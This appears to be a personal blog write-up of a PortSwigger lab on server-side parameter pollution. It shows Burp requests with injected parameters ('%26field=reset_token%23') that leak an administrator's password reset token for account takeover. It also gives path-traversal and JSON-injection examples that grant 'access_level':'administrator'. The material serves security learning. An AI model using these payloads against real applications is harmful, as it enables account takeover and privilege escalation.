Post

Server-Side Parameter Pollution

Server-Side Parameter Pollution

pp

Server-Side Parameter Pollution Intro

Currently working not only with tryhackme.com but with portswigger.net stuff also so there is a Server-Side Parameter Pollution topic in API testing so there was a thing I wanted to note from the lab.

Server-Side Parameter Pollution (SSPP) is a web security vulnerability where an attacker manipulates parameters sent to the server to interfere with backend logic. Unlike Client-Side Parameter Pollution (CSPP), which affects JavaScript and browser behavior, SSPP targets server-side applications.

From the Portswigger academy:

  • To test for server-side parameter pollution in the query string, place query syntax characters like #, &, and = in your input and observe how the application responds, try to inject invalid parameters and override existing
  • To confirm whether the application is vulnerable to server-side parameter pollution, you could try to override the original parameter. Do this by injecting a second parameter with the same name. The impact of this depends on how the application processes the second parameter. This varies across different web technologies.
1
2
3
4
Examples:
    PHP parses the last parameter only. This would result in a search for second parameter.
    ASP.NET combines both parameters. This would result in a user search for first,second, which might result in an Invalid username error message.
    Node.js / express parses the first parameter only. This would result in a user search for first, giving an unchanged result.

Exploitation

There was a link for those who forgot password, so using it from burp:

Here is our initial request (PING):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /forgot-password HTTP/2
Host: 0abf00a203f9357d800b8ae20009000b.web-security-academy.net
Cookie: session=Xm6CE6vD90tpPiCEMDBjT8YRHYxuxOTF
Content-Length: 82
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Content-Type: x-www-form-urlencoded
Accept-Language: en-US
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Origin: https://0abf00a203f9357d800b8ae20009000b.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0abf00a203f9357d800b8ae20009000b.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=lCh44lToAx63BikFSr0KR1GTTbZfK0eP&username=administrator

And response (PONG) we get:

1
2
3
4
5
6
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{"type":"email","result":"*****@normal-user.net"}

Let’s play with a payload (I intentionaly skip the body because we don’t need to change it for now) add & (url encoded %26) with same parameter:

PING:

1
2
3
...

csrf=lCh44lToAx63BikFSr0KR1GTTbZfK0eP&username=administrator%26username=carlos

PONG:

1
2
3
4
5
6
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{"type":"email","result":"*****@normal-user.net"}

Since we don’t have any error, probably we could try to truncate our request using # (url encoded %23)

PING:

1
2
3
...

csrf=lCh44lToAx63BikFSr0KR1GTTbZfK0eP&username=administrator%26username=carlos%23

PONG:

1
2
3
4
5
6
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 33

{"error": "Field not specified."}

Let’s specify field in this case:

PING:

1
2
3
...

csrf=lCh44lToAx63BikFSr0KR1GTTbZfK0eP&username=administrator%26field=username%23

PONG:

1
2
3
4
5
6
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 33

{"type":"username","result":"administrator"}

Ok so we have a pattern to work with, if you will pay attention to forgotPassword.js you will find a new endpoint: /forgot-password?reset_token=${resetToken} so let’s try reset_tokenas a field:

PING:

1
2
3
...

csrf=lCh44lToAx63BikFSr0KR1GTTbZfK0eP&username=administrator%26field=reset_token%23

PONG:

1
2
3
4
5
6
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 33

{"type":"reset_token","result":"54ru8lf8w9cwqf3mlehks7x0i2h4r9fg"}

Now we will visit an endpoint using our token and change password to a new one:

https://0abf00a203f9357d800b8ae20009000b.web-security-academy.net/forgot-password?reset_token=54ru8lf8w9cwqf3mlehks7x0i2h4r9fg

Some more theory with examples from the PortSwigger academy

Server-Side parameter pollution in REST paths

Consider an application that enables you to edit user profiles based on their username. Requests are sent to the following endpoint: GET /edit_profile.php?name=peter

This results in the following server-side request: GET /api/private/users/peter

An attacker may be able to manipulate server-side URL path parameters to exploit the API. To test for this vulnerability, add path traversal sequences to modify parameters and observe how the application responds.

You could submit URL-encoded peter/../admin as the value of the name parameter: GET /edit_profile.php?name=peter%2f..%2fadmin

This may result in the following server-side request: GET /api/private/users/peter/../admin

If the server-side client or back-end API normalize this path, it may be resolved to /api/private/users/admin.

Server-Side parameter pollution in structured data formats

Consider an application that enables users to edit their profile, then applies their changes with a request to a server-side API. When you edit your name, your browser makes the following request:

1
2
POST /myaccount
name=peter

This results in the following server-side request:

1
2
PATCH /users/7312/update
{"name":"peter"}

You can attempt to add the access_level parameter to the request as follows:

1
2
POST /myaccount
name=peter","access_level":"administrator

If the user input is added to the server-side JSON data without adequate validation or sanitization, this results in the following server-side request:

1
2
PATCH /users/7312/update
{name="peter","access_level":"administrator"}

Consider a similar example, but where the client-side user input is in JSON data. When you edit your name, your browser makes the following request:

1
2
POST /myaccount
{"name": "peter"}

This results in the following server-side request:

1
2
PATCH /users/7312/update
{"name":"peter"}

You can attempt to add the access_level parameter to the request as follows:

1
2
POST /myaccount
{"name": "peter\",\"access_level\":\"administrator"}

If the user input is decoded, then added to the server-side JSON data without adequate encoding, this results in the following server-side request:

1
2
PATCH /users/7312/update
{"name":"peter","access_level":"administrator"}
This post is licensed under CC BY 4.0 by the author.